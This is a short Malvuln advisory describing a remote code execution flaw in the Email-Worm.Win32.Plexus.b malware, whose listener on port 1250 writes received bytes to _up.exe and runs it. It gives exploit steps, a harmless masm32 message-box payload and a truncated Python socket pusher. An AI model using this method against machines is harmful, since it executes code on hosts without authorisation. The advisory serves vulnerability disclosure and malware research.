Email-Worm.Win32.Plexus.b malware suffers from a code execution vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ee8990b5d076a7ed601a30eb677cc9be.txt
Contact: [email protected]
Vulnerability: Unauthenticated Remote Code Execution
Description: The malware listens on TCP ports 1250 (file write port) and 47435 (random FTP port). Third-party attackers who can reach infected systems can use a socket program to write binary data to the remote host. The malware then writes that data to a file named "_up.exe" under "UsersVictimAppDataLocalTemp" that executes immediately.
Exploitation requires a few things for our code to run successfully, as there seems to be a file size limitation and header issues.
1) Create a very small executable using masm32 in assembly.
2) Pack it using fsg13
3) Prefix our payload with a DOS "MZ" header and "ETX" control char in hex "x03" followed by two NULL bytes, as it doesn't write the MZ header correctly.
4) Use python to read in our EXE payload and push to the infected host.
Vuln ID: MVID-2021-0400
1) "DOOM.asm" compiled with masm32.
HATE db "Masm32:", 0
MyReal8 REAL8 123.456
aDword dd ?
invoke MessageBox, 0, chr$("DOOM!"), addr HATE, MB_OK
mov eax, 123
2) Pack DOOM.exe using FSG13.
3) Connect to the infected system and push our own PE file.
# -*- coding: utf-8 -*-
from socket import *
f = open(DOOM, "rb")
EXE = EXE + f.read()
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